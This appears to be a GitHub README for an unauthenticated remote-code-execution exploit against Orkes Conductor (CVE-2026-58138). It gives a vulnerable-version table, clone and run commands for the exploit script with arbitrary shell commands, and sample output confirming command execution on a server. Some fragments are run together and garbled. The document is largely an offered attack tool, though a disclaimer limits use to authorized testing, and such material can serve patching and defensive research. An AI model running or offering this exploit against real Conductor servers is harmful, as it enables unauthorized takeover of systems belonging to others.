
CVE-2026-58138 - Conductor (3.21.21..<3.30.2) unauthenticated RCE via INLINE GraalVM evaluator
Critical Remote Code Execution Vulnerability in Orkes Conductor
CVE-2026-58138 is a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting Orkes Conductor versions 3.21.21 through 3.30.1. This vulnerability allows attackers to execute arbitrary commands on the Conductor server without requiring any authentication, potentially leading to complete system compromise.
The vulnerability exists in the INLINE task type within Orkes Conductor's workflow engine. The INLINE task supports JavaScript evaluation with access to Java objects via eval, allowing an attacker to:
INLINE task with JavaScript codejava.lang.Runtime.exec()| Version Range | Status |
|---|---|
| 3.21.21 - 3.30.1 | ✅ Vulnerable |
| > 3.30.1 | ❌ Patched |
# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-58138.git
cd CVE-2026-58138
# Make the script executable
chmod +x CVE-2026-58138.py
# Verify installation
python3 CVE-2026-58138.py --help
# Basic usage
python3 CVE-2026-58138.py http://target:8080
# Custom command
python3 CVE-2026-58138.py http://target:8080 -c "whoami; id"
[>] Orkes Conductor 3.21.21 - 3.30.1 Remote Code Execution
[>] Author: 0xgh057r3c0n
[>] CVE-2026-58138 Unauthenticated RCE PoC
[*] target = http://192.168.1.100:8080
[*] command = 'id; hostname'
[+] workflow 'pwn_1742345678' registered (HTTP 200)
[+] started workflow id = 123e4567-e89b-12d3-a456-426614174000
[+] UNAUTHENTICATED RCE CONFIRMED – command output:
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)
conductor-server-6b7c8d9e0f-abc12
3.30.2 or laterFor educational and security research purposes only. Only use on systems you own or have explicit permission to test.
⭐ Found this useful? Give it a star on GitHub ⭐